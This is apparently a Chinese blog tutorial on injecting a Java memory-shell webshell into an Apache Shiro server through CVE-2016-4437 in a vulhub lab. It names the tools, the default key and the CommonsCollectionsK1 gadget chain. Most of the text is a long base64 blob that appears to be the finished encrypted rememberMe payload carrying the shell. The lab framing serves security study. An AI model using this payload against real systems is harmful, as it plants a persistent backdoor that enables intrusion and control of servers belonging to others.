利用jmg快速注入内存马

shiro注入内存马

这里用vulhub搭建漏洞环境

https://vulhub.org/#/environments/shiro/CVE-2016-4437/

直接利用liqun对扫key和链

Key:kPH+bIxk5D2deZiIxcaaaA==

CommonsCollectionsK1

内存马注入

这里我们利用jmg首先生成一段base64编码

之后利用yakit的yso插件

将内存马字节填入进去 之后在yak代码哪里编辑生成

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 